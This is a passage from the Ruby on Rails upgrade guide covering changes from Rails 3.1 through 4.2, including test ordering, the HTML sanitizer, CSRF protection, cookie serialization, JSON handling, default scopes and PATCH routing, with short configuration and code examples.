See [#14488](https://github.com/rails/rails/pull/14488) and [#16537](https://github.com/rails/rails/pull/16537) for more details.

### [12.4. Ordering of test cases](#ordering-of-test-cases)

In Rails 5.0, test cases will be executed in random order by default. In anticipation of this change, Rails 4.2 introduced a new configuration option `active_support.test_order` for explicitly specifying the test ordering. This allows you to either lock down the current behavior by setting the option to `:sorted`, or opt into the future behavior by setting the option to `:random`.

If you do not specify a value for this option, a deprecation warning will be emitted. To avoid this, add the following line to your test environment:

```
# config/environments/test.rb
Rails.application.configure do
  config.active_support.test_order = :sorted # or `:random` if you prefer
end
```

### [12.5. Serialized attributes](#serialized-attributes)

When using a custom coder (e.g. `serialize :metadata, JSON`), assigning `nil` to a serialized attribute will save it to the database as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"` when using the `JSON` coder).

### [12.6. Production log level](#production-log-level)

In Rails 5, the default log level for the production environment will be changed to `:debug` (from `:info`). To preserve the current default, add the following line to your `production.rb`:

```
# Set to `:info` to match the current default, or set to `:debug` to opt-into
# the future default.
config.log_level = :info
```

### [12.7. `after_bundle` in Rails templates](#after-bundle-in-rails-templates)

If you have a Rails template that adds all the files in version control, it fails to add the generated binstubs because it gets executed before Bundler:

```
# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }
```

You can now wrap the `git` calls in an `after_bundle` block. It will be run after the binstubs have been generated.

```
# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")

after_bundle do
  git :init
  git add: "."
  git commit: %Q{ -m 'Initial commit' }
end
```

### [12.8. Rails HTML Sanitizer](#rails-html-sanitizer)

There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of [`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).

This means the methods `sanitize`, `sanitize_css`, `strip_tags` and `strip_links` are backed by a new implementation.

This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which wraps XML parsers written in both C and Java, so sanitization should be faster no matter which Ruby version you run.

The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for powerful scrubbing. [See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).

Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`. Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.

The documentation for `PermitScrubber` and `TargetScrubber` explains how you can gain complete control over when and how elements should be stripped.

If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your `Gemfile`:

```
gem "rails-deprecated_sanitizer"
```

### [12.9. Rails DOM Testing](#rails-dom-testing)

The [`TagAssertions` module](https://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).

### [12.10. Masked Authenticity Tokens](#masked-authenticity-tokens)

In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.

### [12.11. Action Mailer](#action-mailer)

Previously, calling a mailer method on a mailer class will result in the corresponding instance method being executed directly. With the introduction of Active Job and `#deliver_later`, this is no longer true. In Rails 4.2, the invocation of the instance methods are deferred until either `deliver_now` or `deliver_later` is called. For example:

```
class Notifier < ActionMailer::Base
  def notify(user)
    puts "Called"
    mail(to: user.email)
  end
end
```

```
mail = Notifier.notify(user) # Notifier#notify is not yet called at this point
mail = mail.deliver_now           # Prints "Called"
```

This should not result in any noticeable differences for most applications. However, if you need some non-mailer methods to be executed synchronously, and you were previously relying on the synchronous proxying behavior, you should define them as class methods on the mailer class directly:

```
class Notifier < ActionMailer::Base
  def self.broadcast_notifications(users, ...)
    users.each { |user| Notifier.notify(user, ...) }
  end
end
```

### [12.12. Foreign Key Support](#foreign-key-support)

The migration DSL has been expanded to support foreign key definitions. If you've been using the Foreigner gem, you might want to consider removing it. Note that the foreign key support of Rails is a subset of Foreigner. This means that not every Foreigner definition can be fully replaced by its Rails migration DSL counterpart.

The migration procedure is as follows:

1. remove `gem "foreigner"` from the `Gemfile`.
2. run `bundle install`.
3. run `bin/rake db:schema:dump`.
4. make sure that `db/schema.rb` contains every foreign key definition with the necessary options.

## [13. Upgrading from Rails 4.0 to Rails 4.1](#upgrading-from-rails-4-0-to-rails-4-1)

### [13.1. CSRF protection from remote `<script>` tags](#csrf-protection-from-remote-script-tags)

Or, "whaaat my tests are failing!!!?" or "my `<script>` widget is busted!!"

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. This prevents a third-party site from remotely referencing your JavaScript with a `<script>` tag to extract sensitive data.

This means that your functional and integration tests that use

```
get :index, format: :js
```

will now trigger CSRF protection. Switch to

```
xhr :get, :index, format: :js
```

to explicitly test an `XmlHttpRequest`.

Your own `<script>` tags are treated as cross-origin and blocked by default, too. If you really mean to load JavaScript from `<script>` tags, you must now explicitly skip CSRF protection on those actions.

### [13.2. Spring](#upgrading-from-rails-4-0-to-rails-4-1-spring)

If you want to use Spring as your application preloader you need to:

1. Add `gem "spring", group: :development` to your `Gemfile`.
2. Install spring using `bundle install`.
3. Generate the Spring binstub with `bundle exec spring binstub`.

User defined rake tasks will run in the `development` environment by default. If you want them to run in other environments consult the [Spring README](https://github.com/rails/spring#rake).

### [13.3. `config/secrets.yml`](#config-secrets-yml)

If you want to use the new `secrets.yml` convention to store your application's secrets, you need to:

1. Create a `secrets.yml` file in your `config` folder with the following content:

   ```
   development:
     secret_key_base:

   test:
     secret_key_base:

   production:
     secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
   ```

2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to set the `SECRET_KEY_BASE` environment variable for whichever users running the Rails application in production. Alternatively, you can simply copy the existing `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml` under the `production` section, replacing `<%= ENV["SECRET_KEY_BASE"] %>`.

3. Remove the `secret_token.rb` initializer.

4. Use `rake secret` to generate new keys for the `development` and `test` sections.

5. Restart your server.

### [13.4. Changes to test helper](#changes-to-test-helper)

If your test helper contains a call to `ActiveRecord::Migration.check_pending!` this can be removed. The check is now done automatically when you `require "rails/test_help"`, although leaving this line in your helper is not harmful in any way.

### [13.5. Cookies serializer](#cookies-serializer)

Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into the signed and encrypted cookie jars. If you want to use the new `JSON`-based format in your application, you can add an initializer file with the following content:

```
Rails.application.config.action_dispatch.cookies_serializer = :hybrid
```

This would transparently migrate your existing `Marshal`-serialized cookies into the new `JSON`-based format.

When using the `:json` or `:hybrid` serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects will be serialized as strings, and `Hash`es will have their keys stringified.

```
class CookiesController < ApplicationController
  def set_cookie
    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
    redirect_to action: "read_cookie"
  end

  def read_cookie
    cookies.encrypted[:expiration_date] # => "2014-03-20"
  end
end
```

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the `session` and `flash` hash as well.

### [13.6. Flash structure changes](#flash-structure-changes)

Flash message keys are [normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They can still be accessed using either symbols or strings. Looping through the flash will always yield string keys:

```
flash["string"] = "a string"
flash[:symbol] = "a symbol"

# Rails < 4.1
flash.keys # => ["string", :symbol]

# Rails >= 4.1
flash.keys # => ["string", "symbol"]
```

Make sure you are comparing Flash message keys against strings.

### [13.7. Changes in JSON handling](#changes-in-json-handling)

There are a few major changes related to JSON handling in Rails 4.1.

#### [13.7.1. MultiJSON removal](#multijson-removal)

MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) and has been removed from Rails.

If your application currently depends on MultiJSON directly, you have a few options:

1. Add 'multi\_json' to your `Gemfile`. Note that this might cease to work in the future

2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.

Do not simply replace `MultiJson.load` with `JSON.load` as that API is meant for deserializing arbitrary Ruby objects and is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load). Prefer to use `JSON.parse`.

#### [13.7.2. JSON gem compatibility](#json-gem-compatibility)

Historically, Rails had some compatibility issues with the JSON gem. Using `JSON.generate` and `JSON.dump` inside a Rails application could produce unexpected errors.

Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The JSON gem APIs will function as normal, but they will not have access to any Rails-specific features. For example:

```
class FooBar
  def as_json(options = nil)
    { foo: "bar" }
  end
end
```

```
irb> FooBar.new.to_json
=> "{\"foo\":\"bar\"}"
irb> JSON.generate(FooBar.new)
=> "\"#<FooBar:0x007fa80a481610>\""
```

#### [13.7.3. New JSON encoder](#new-json-encoder)

The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON gem. For most applications, this should be a transparent change. However, as part of the rewrite, the following features have been removed from the encoder:

1. Circular data structure detection
2. Support for the `encode_json` hook
3. Option to encode `BigDecimal` objects as numbers instead of strings

If your application depends on one of these features, you can get them back by adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) gem to your `Gemfile`.

#### [13.7.4. JSON representation of Time objects](#json-representation-of-time-objects)

`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`) now returns millisecond precision by default. If you need to keep old behavior with no millisecond precision, set the following in an initializer:

```
ActiveSupport::JSON::Encoding.time_precision = 0
```

### [13.8. Usage of `return` within inline callback blocks](#usage-of-return-within-inline-callback-blocks)

Previously, Rails allowed inline callback blocks to use `return` this way:

```
class ReadOnlyModel < ActiveRecord::Base
  before_save { return false } # BAD
end
```

This behavior was never intentionally supported. Due to a change in the internals of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a `return` statement in an inline callback block causes a `LocalJumpError` to be raised when the callback is executed.

Inline callback blocks using `return` can be refactored to evaluate to the returned value:

```
class ReadOnlyModel < ActiveRecord::Base
  before_save { false } # GOOD
end
```

Alternatively, if `return` is preferred it is recommended to explicitly define a method:

```
class ReadOnlyModel < ActiveRecord::Base
  before_save :before_save_callback # GOOD

  private
    def before_save_callback
      false
    end
end
```

This change applies to most places in Rails where callbacks are used, including Active Record and Active Model callbacks, as well as filters in Action Controller (e.g. `before_action`).

See [this pull request](https://github.com/rails/rails/pull/13271) for more details.

### [13.9. Methods defined in Active Record fixtures](#methods-defined-in-active-record-fixtures)

Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods defined in a fixture will not be available in other fixtures.

Helper methods that are used in multiple fixtures should be defined on modules included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in `test_helper.rb`.

```
module FixtureFileHelpers
  def file_sha(path)
    OpenSSL::Digest::SHA256.hexdigest(File.read(Rails.root.join("test/fixtures", path)))
  end
end

ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
```

### [13.10. I18n enforcing available locales](#i18n-enforcing-available-locales)

Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This means that it will make sure that all locales passed to it must be declared in the `available_locales` list.

To disable it (and allow I18n to accept *any* locale option) add the following configuration to your application:

```
config.i18n.enforce_available_locales = false
```

Note that this option was added as a security measure, to ensure user input cannot be used as locale information unless it is previously known. Therefore, it's recommended not to disable this option unless you have a strong reason for doing so.

### [13.11. Mutator methods called on Relation](#mutator-methods-called-on-relation)

`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert to an `Array` by calling `#to_a` before using these methods.

It intends to prevent odd bugs and confusion in code that call mutator methods directly on the `Relation`.

```
# Instead of this
Author.where(name: "Hank Moody").compact!

# Now you have to do this
authors = Author.where(name: "Hank Moody").to_a
authors.compact!
```

### [13.12. Changes on Default Scopes](#changes-on-default-scopes)

Default scopes are no longer overridden by chained conditions.

In previous versions when you defined a `default_scope` in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope.

Before:

```
class User < ActiveRecord::Base
  default_scope { where state: "pending" }
  scope :active, -> { where state: "active" }
  scope :inactive, -> { where state: "inactive" }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.where(state: "inactive")
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
```

After:

```
class User < ActiveRecord::Base
  default_scope { where state: "pending" }
  scope :active, -> { where state: "active" }
  scope :inactive, -> { where state: "inactive" }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'

User.where(state: "inactive")
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
```

To get the previous behavior it is needed to explicitly remove the `default_scope` condition using `unscoped`, `unscope`, `rewhere` or `except`.

```
class User < ActiveRecord::Base
  default_scope { where state: "pending" }
  scope :active, -> { unscope(where: :state).where(state: "active") }
  scope :inactive, -> { rewhere state: "inactive" }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'

User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
```

### [13.13. Rendering content from string](#rendering-content-from-string)

Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those options are now the preferred way to render string-based content, as it allows you to specify which content type you want the response sent as.

* `render :plain` will set the content type to `text/plain`
* `render :html` will set the content type to `text/html`
* `render :body` will *not* set the content type header.

From the security standpoint, if you don't expect to have any markup in your response body, you should be using `render :plain` as most browsers will escape unsafe content in the response for you.

We will be deprecating the use of `render :text` in a future version. So please start using the more precise `:plain`, `:html`, and `:body` options instead. Using `render :text` may pose a security risk, as the content is sent as `text/html`.

### [13.14. PostgreSQL JSON and hstore datatypes](#postgresql-json-and-hstore-datatypes)

Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`. In earlier versions, a `HashWithIndifferentAccess` was used. This means that symbol access is no longer supported. This is also the case for `store_accessors` based on top of `json` or `hstore` columns. Make sure to use string keys consistently.

### [13.15. Explicit block use for `ActiveSupport::Callbacks`](#explicit-block-use-for-activesupport-callbacks)

Rails 4.1 now expects an explicit block to be passed when calling `ActiveSupport::Callbacks.set_callback`. This change stems from `ActiveSupport::Callbacks` being largely rewritten for the 4.1 release.

```
# Previously in Rails 4.0
set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }

# Now in Rails 4.1
set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
```

## [14. Upgrading from Rails 3.2 to Rails 4.0](#upgrading-from-rails-3-2-to-rails-4-0)

If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.

The following changes are meant for upgrading your application to Rails 4.0.

### [14.1. HTTP PATCH](#http-patch)

Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful resource is declared in `config/routes.rb`. The `update` action is still used, and `PUT` requests will continue to be routed to the `update` action as well. So, if you're using only the standard RESTful routes, no changes need to be made:

```
resources :users
```

```
<%= form_for @user do |f| %>
```

```
class UsersController < ApplicationController
  def update
    # No change needed; PATCH will be preferred, and PUT will still work.
  end
end
```

However, you will need to make a change if you are using `form_for` to update a resource in conjunction with a custom route using the `PUT` HTTP method:

```
resources :users do
  put :update_name, on: :member
end
```

```
<%= form_for [ :update_name, @user ] do |f| %>
```

```
class UsersController < ApplicationController
  def update_name
    # Change needed; form_for will try to use a non-existent PATCH route.
  end
end
```

If the action is not being used in a public API and you are free to change the HTTP method, you can update your route to use `patch` instead of `put`:

```
resources :users do
  patch :update_name, on: :member
end
```

`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are today. So, if you have an API that gets real PUT requests it is going to work. The router also routes `PATCH` requests to `/users/:id` to the `update` action.

If the action is being used in a public API and you can't change to HTTP method being used, you can update your form to use the `PUT` method instead:

```
<%= form_for [ :update_name, @user ], method: :put do |f| %>
```

For more on PATCH and why this change was made, see [this post](https://rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates) on the Rails blog.

#### [14.1.1. A note about media types](#a-note-about-media-types)

The errata for the `PATCH` verb [specifies that a 'diff' media type should be used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails does not support JSON Patch natively, it's easy enough to add support:

```
# in your controller:
def update
  respond_to do |format|
    format.json do
      # perform a partial update
      @article.update params[:article]
    end

    format.json_patch do
      # perform sophisticated change
    end
  end
end
```

```
# config/initializers/json_patch.rb
Mime::Type.register "application/json-patch+json", :json_patch
```

As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification.

### [14.2. Gemfile](#upgrading-from-rails-3-2-to-rails-4-0-gemfile)

Rails 4.0 removed the `assets` group from `Gemfile`. You'd need to remove that line from your `Gemfile` when upgrading. You should also update your application file (in `config/application.rb`):

```
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
```

### [14.3. vendor/plugins](#upgrading-from-rails-3-2-to-rails-4-0-vendor-plugins)

Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.

### [14.4. Active Record](#upgrading-from-rails-3-2-to-rails-4-0-active-record)

* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.

* The `delete` method in collection associations can now receive `Integer` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.

* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.

* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.

* When using the default coder, assigning `nil` to a serialized attribute will save it to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).

* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.

* If you are not using Protected Attributes, you can remove any options related to this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.

* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:

  ```
  scope :active, where(active: true)

  # becomes
  scope :active, -> { where active: true }
  ```

* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.

* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.

* Rails 4.0 has deprecated the old-style hash-based finder API. This means that methods which previously accepted "finder options" no longer do. For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')`

* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's how you can handle the changes:

  * `find_all_by_...` becomes `where(...)`.
  * `find_last_by_...` becomes `where(...).last`.
  * `scoped_by_...` becomes `where(...)`.
  * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
  * `find_or_create_by_...` becomes `find_or_create_by(...)`.

* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.

* These equivalent methods may not execute the same SQL as the previous implementation.

* To re-enable the old finders, you can use the [activerecord-deprecated\_finders gem](https://github.com/rails/activerecord-deprecated_finders).

* Rails 4.0 has changed to default join table for `has_and_belongs_to_many` relations to strip the common prefix off the second table name. Any existing `has_and_belongs_to_many` relationship between models with a common prefix must be specified with the `join_table` option. For example:

  ```
  class CatalogCategory < ActiveRecord::Base
    has_and_belongs_to_many :catalog_products, join_table: "catalog_categories_catalog_products"
  end

  class CatalogProduct < ActiveRecord::Base
    has_and_belongs_to_many :catalog_categories, join_table: "catalog_categories_catalog_products"
  end
  ```

* Note that the prefix takes scopes into account as well, so relations between `Catalog::Category` and `Catalog::Product` or `Catalog::Category` and `CatalogProduct` need to be updated similarly.

### [14.5. Active Resource](#active-resource)

Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`.

### [14.6. Active Model](#active-model)

* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.

* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:

  ```
  # Disable root element in JSON by default.
  # ActiveSupport.on_load(:active_record) do
  #   self.include_root_in_json = false
  # end
  ```

### [14.7. Action Pack](#action-pack)

* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.

  ```
  # config/initializers/secret_token.rb
  Myapp::Application.config.secret_token = "existing secret token"
  Myapp::Application.config.secret_key_base = "new secret key base"
  ```

  Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.

  If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.

* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.

  Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.

* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.

* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.

* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_page` in your controllers.

* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.

* Rails 4.0 changes the default `layout` lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.

* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem "dalli"` to your `Gemfile`.

* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.

* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`). This deprecation also concerns the helpers based on this one (such as `link_to_if` or `link_to_unless`).

* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.

* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:

  ```
  get "one" => "test#example", as: :example
  get "two" => "test#example", as: :example
  ```

  ```
  resources :examples
  get "clashing/:id" => "test#example", as: :example
  ```

  In the first case, you can simply avoid using the same name for multiple routes. In the second, you can use the `only` or `except` options provided by the `resources` method to restrict the routes created as detailed in the [Routing Guide](routing.html#restricting-the-routes-created).

* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:

  ```
  get Rack::Utils.escape("こんにちは"), controller: "welcome", action: "index"
  ```

  becomes

  ```
  get "こんにちは", controller: "welcome", action: "index"
  ```

* Rails 4.0 requires that routes using `match` must specify the request method. For example:

  ```
  # Rails 3.x
  match "/" => "root#index"

  # becomes
  match "/" => "root#index", via: :get

  # or
  get "/" => "root#index"
  ```

* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per <https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx> and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.

  Remember you must also remove any references to the middleware from your application code, for example:

  ```
  # Raise exception
  config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
  ```

  Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.

* Rails 4.0 allows configuration of HTTP headers by setting `config.action_dispatch.default_headers`. The defaults are as follows:

  ```
  config.action_dispatch.default_headers = {
    "X-Frame-Options" => "SAMEORIGIN",
    "X-XSS-Protection" => "1; mode=block"
  }
  ```

  Please note that if your application is dependent on loading certain pages in a `<frame>` or `<iframe>`, then you may need to explicitly set `X-Frame-Options` to `ALLOW-FROM ...` or `ALLOWALL`.

* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure [`config.assets.precompile`](configuring.html#config-assets-precompile).

* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.

* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.

* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.

* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.

* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.

* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.

* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.

* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.

* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.

* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.

* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.

### [14.8. Active Support](#active-support)

Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.

#### [14.8.1. Cache](#cache)

The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/v4.0/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.

### [14.9. Helpers Loading Order](#helpers-loading-order)

The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use `config.railties_order=` method.

### [14.10. Active Record Observer and Action Controller Sweeper](#active-record-observer-and-action-controller-sweeper)

`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.

### [14.11. sprockets-rails](#sprockets-rails)

* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.

* The `config.assets.compress` option should be changed to [`config.assets.js_compressor`](configuring.html#config-assets-js-compressor) like so for instance:

  ```
  config.assets.js_compressor = :uglifier
  ```

### [14.12. sass-rails](#sass-rails)

* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.

## [15. Upgrading from Rails 3.1 to Rails 3.2](#upgrading-from-rails-3-1-to-rails-3-2)

If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.

The following changes are meant for upgrading your application to the latest 3.2.x version of Rails.

### [15.1. Gemfile](#upgrading-from-rails-3-1-to-rails-3-2-gemfile)

Make the following changes to your `Gemfile`.

```
gem "rails", "3.2.21"

group :assets do
  gem "sass-rails",   "~> 3.2.6"
  gem "coffee-rails", "~> 3.2.2"
  gem "uglifier",     ">= 1.0.3"
end
```

### [15.2. config/environments/development.rb](#upgrading-from-rails-3-1-to-rails-3-2-config-environments-development-rb)

There are a couple of new configuration settings that you should add to your development environment:

```
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5
```

